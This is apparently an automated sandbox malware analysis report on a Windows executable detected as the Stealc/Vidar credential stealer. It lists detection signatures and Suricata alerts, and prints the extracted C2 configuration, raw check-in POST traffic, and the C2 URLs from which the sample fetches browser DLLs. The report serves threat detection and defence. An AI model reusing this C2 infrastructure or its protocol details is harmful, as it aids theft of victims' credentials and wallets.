Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1522677
MD5:	6b618b13d3618f8771f4b25628cecfaf
SHA1:	bd9c69483af8ad3551127d3d2acba69269e78eac
SHA256:	86db7dfb31cc072f944c5eb7c722e55ec5f832e39b22ff6c77d06f0fbf222720
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5912 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6B618B13D3618F8771F4B25628CECFAF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1240754798.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5912	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5912	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5912	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5912	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.520000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T15:20:04.444539+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.7	49699	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T15:20:04.438011+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T15:20:04.665096+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T15:20:05.908642+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T15:20:04.681427+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.7	49699	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T15:20:04.212006+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-30T15:20:06.414249+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:11.997492+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:13.048258+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:13.660045+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:14.181430+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:15.862271+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:16.246854+0200	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 41 43 39 32 30 44 33 34 43 43 30 35 38 34 39 32 38 30 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 2d 2d 0d 0a Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="hwid"0AC920D34CC058492808------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="build"doma------CAAKKFHCFIECAAAKEGCF--

Source: file.exe, 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllV
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllv
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllX
Source: file.exe, 00000000.00000002.1470289846.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlld
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll~
Source: file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpData
Source: file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpF
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpHDAK
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpN
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.1470289846.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpic_qt
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phps
Source: file.exe, 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1484502323.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1493830283.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: CGCFCFBK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: CGCFCFBK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: CGCFCFBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: CGCFCFBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: CGCFCFBK.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CGCFCFBK.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: CGCFCFBK.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: JJJJDAAECGHDGDGCGHDB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: CGCFCFBK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: CGCFCFBK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.1489026357.0000000029716000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAECGHDGDGCGHDB.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000003.1406022526.000000002F773000.00000004.00000020.00020000.00000000.sdmp, CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1406022526.000000002F773000.00000004.00000020.00020000.00000000.sdmp, CAFIEBKKJJDAKFHIDBFHJDBFBA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CEDB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CEDB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CEDB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CE7F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D8273	0_2_008D8273
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A1BFD	0_2_008A1BFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008DE302	0_2_008DE302
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E3422	0_2_008E3422
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E6C41	0_2_008E6C41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008EBDF6	0_2_008EBDF6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008DFD50	0_2_008DFD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E257F	0_2_008E257F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E9EEB	0_2_008E9EEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E4EFC	0_2_008E4EFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0096B61E	0_2_0096B61E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E87D7	0_2_008E87D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008DC7FF	0_2_008DC7FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE735A0	0_2_6CE735A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7D4E0	0_2_6CE7D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB6CF0	0_2_6CEB6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE864C0	0_2_6CE864C0
